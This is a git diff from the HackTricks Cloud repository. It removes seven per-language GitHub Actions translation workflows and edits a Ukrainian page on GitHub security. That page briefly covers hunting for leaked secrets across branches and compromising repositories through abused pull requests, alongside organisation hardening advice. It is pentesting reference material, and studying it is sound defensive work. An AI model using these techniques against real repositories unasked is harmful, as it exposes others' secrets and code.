run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_pl.yml
vendored
119
.github/workflows/translate_pl.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to PL (Polish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: pl
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Polish
|
||||
BRANCH: pl
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_pt.yml
vendored
119
.github/workflows/translate_pt.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to PT (Portuguese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: pt
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Portuguese
|
||||
BRANCH: pt
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_sr.yml
vendored
119
.github/workflows/translate_sr.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to SR (Serbian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: sr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Serbian
|
||||
BRANCH: sr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_sw.yml
vendored
119
.github/workflows/translate_sw.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to SW (Swahili)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: sw
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Swahili
|
||||
BRANCH: sw
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_tr.yml
vendored
119
.github/workflows/translate_tr.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to TR (Turkish)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: tr
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Turkish
|
||||
BRANCH: tr
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_uk.yml
vendored
119
.github/workflows/translate_uk.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to UK (Ukranian)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: uk
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Ukranian
|
||||
BRANCH: uk
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
119
.github/workflows/translate_zh.yml
vendored
119
.github/workflows/translate_zh.yml
vendored
@@ -1,119 +0,0 @@
|
||||
name: Translator to ZH (Chinese)
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency: zh
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
run-translation:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
env:
|
||||
LANGUAGE: Chinese
|
||||
BRANCH: zh
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: 3.8
|
||||
|
||||
- name: Install python dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip3 install openai tqdm tiktoken
|
||||
|
||||
# Install Rust and Cargo
|
||||
- name: Install Rust and Cargo
|
||||
uses: actions-rs/toolchain@v1
|
||||
with:
|
||||
toolchain: stable
|
||||
override: true
|
||||
|
||||
# Install mdBook and Plugins
|
||||
- name: Install mdBook and Plugins
|
||||
run: |
|
||||
cargo install mdbook
|
||||
cargo install mdbook-alerts
|
||||
cargo install mdbook-reading-time
|
||||
cargo install mdbook-pagetoc
|
||||
cargo install mdbook-tabs
|
||||
cargo install mdbook-codename
|
||||
|
||||
|
||||
- name: Update & install wget & translator.py
|
||||
run: |
|
||||
sudo apt-get update
|
||||
sudo apt-get install wget -y
|
||||
cd scripts
|
||||
rm -f translator.py
|
||||
wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py
|
||||
cd ..
|
||||
|
||||
- name: Download language branch #Make sure we have last version
|
||||
run: |
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
git checkout master
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
echo "Starting translations"
|
||||
echo "Commit: $GITHUB_SHA"
|
||||
|
||||
# Export the OpenAI API key as an environment variable
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
|
||||
# Run the translation script on each changed file
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n "$file , " >> /tmp/file_paths.txt
|
||||
else
|
||||
echo "Skipping $file"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Translating $(cat /tmp/file_paths.txt)"
|
||||
python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3
|
||||
|
||||
# Push changes to the repository
|
||||
- name: Commit and push changes
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git add -A
|
||||
git commit -m "Translated $BRANCH files" || true
|
||||
git push --set-upstream origin "$BRANCH"
|
||||
|
||||
# Build the mdBook
|
||||
- name: Build mdBook
|
||||
run: mdbook build
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Що таке Github
|
||||
|
||||
(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт та хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**.
|
||||
(З [тут](https://kinsta.com/knowledgebase/what-is-github/)) На високому рівні, **GitHub - це вебсайт і хмарний сервіс, який допомагає розробникам зберігати та керувати своїм кодом, а також відстежувати та контролювати зміни в їхньому коді**.
|
||||
|
||||
### Основна інформація
|
||||
|
||||
@@ -38,20 +38,14 @@ Github дозволяє **шукати щось, вказуючи в якост
|
||||
|
||||
Інструменти (кожен інструмент містить свій список regex):
|
||||
|
||||
- [https://github.com/zricethezav/gitleaks](https://github.com/zricethezav/gitleaks)
|
||||
- [https://github.com/trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog)
|
||||
- [https://github.com/eth0izzle/shhgit](https://github.com/eth0izzle/shhgit)
|
||||
- [https://github.com/michenriksen/gitrob](https://github.com/michenriksen/gitrob)
|
||||
- [https://github.com/anshumanbh/git-all-secrets](https://github.com/anshumanbh/git-all-secrets)
|
||||
- [https://github.com/kootenpv/gittyleaks](https://github.com/kootenpv/gittyleaks)
|
||||
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
|
||||
Перевірте цю сторінку: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на кшталт `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
||||
> Коли ви шукаєте витоки в репозиторії та запускаєте щось на зразок `git log -p`, не забувайте, що можуть бути **інші гілки з іншими комітами**, що містять секрети!
|
||||
|
||||
### Зовнішні форки
|
||||
|
||||
Можливо **компрометувати репозиторії, зловживаючи запитами на злиття**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](./#execution-from-a-external-fork).
|
||||
Можливо **компрометувати репозиторії, зловживаючи запитами на злиття**. Щоб дізнатися, чи вразливий репозиторій, вам в основному потрібно прочитати конфігурації yaml Github Actions. [**Більше інформації про це нижче**](#execution-from-a-external-fork).
|
||||
|
||||
### Github Витоки в видалених/внутрішніх форках
|
||||
|
||||
@@ -67,17 +61,17 @@ accessible-deleted-data-in-github.md
|
||||
|
||||
Є деякі **за замовчуванням привілеї**, які можуть бути надані **учасникам** організації. Їх можна контролювати зі сторінки `https://github.com/organizations/<org_name>/settings/member_privileges` або з [**API організацій**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin над репозиторіями організації. Рекомендується **None** або **Read**.
|
||||
- **Базові дозволи**: Учасники матимуть дозвіл None/Read/write/Admin на репозиторії організації. Рекомендується **None** або **Read**.
|
||||
- **Форкування репозиторіїв**: Якщо це не потрібно, краще **не дозволяти** учасникам форкувати репозиторії організації.
|
||||
- **Створення сторінок**: Якщо це не потрібно, краще **не дозволяти** учасникам публікувати сторінки з репозиторіїв організації. Якщо потрібно, ви можете дозволити створювати публічні або приватні сторінки.
|
||||
- **Запити на доступ до інтеграцій**: З цим увімкненим зовнішні співпрацівники зможуть запитувати доступ до GitHub або OAuth додатків для доступу до цієї організації та її ресурсів. Це зазвичай потрібно, але якщо ні, краще вимкнути це.
|
||||
